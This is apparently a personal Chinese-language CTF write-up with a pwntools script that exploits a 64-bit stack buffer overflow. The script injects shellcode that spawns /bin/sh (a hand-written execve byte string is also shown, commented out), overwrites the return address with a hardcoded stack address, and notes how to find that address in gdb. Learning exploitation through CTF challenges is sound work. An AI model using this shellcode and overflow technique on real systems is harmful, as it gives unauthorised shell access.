64位ubuntu编译 -m32 报错:https://www.cnblogs.com/mliudong/p/4086797.html
和上一个32为的是同一个题,解题思路一样
#!/usr/bin/env pwthon
#coding=utf-8
from pwn import*
context.log_level= "debug"
context.terminal = ['gnome-terminal', '-x', 'sh', '-c'] #适用于自己装其他终端的情况
context(arch='x86_64',os='linux') #指定系统
local = 1
if local:
p = process("./pwn")
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
else:
p = remote("")
offset = 64 + 8
#-------------shellcode------------------------
#第一用的是32为的,自己忘了, 后面可以直接利用脚本去写shellcode,
#shellcode = "\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05"
shellcode = asm(shellcraft.sh()) #可以直接获取shellcode 也可以自己网上找
print ("[---->:]") + hex(len(shellcode))
print ("[---->shellcode]= ")+(shellcode)
#pop_rdi_offset = 0x00000000004006e3
#jmp_rsp_offset = 0x0000000000002a71
#libc_base = 0x00007ffff7a0d000
#jmp_rsp_addr = libc_base +jmp_rsp_offset
#pop_rdi_addr = libc_base + pop_rdi_offset
#payload = "A" * offset
#payload += p64(pop_rdi_addr)
#payload += p64(jmp_rsp_addr)
buf_ret_addr = 0x7fffffffd810
payload = shellcode
payload += "A" * (offset-len(shellcode))
payload += p64(buf_ret_addr)
#gdb.attach(p)
p.sendline(payload)
p.interactive()
注释的地方,将自己的错误都没删除,将自己解题的思路留下,好让自己参考。
解题思路:
将我们的shellcode传入栈里面,然后跳转到buf输入的地方就执行了shellcode。
buf
的地址怎么获取?= 用agb.attach(p)
,动态调试找到stack 100
查看出自己shellcode
输入的地方即可
网友评论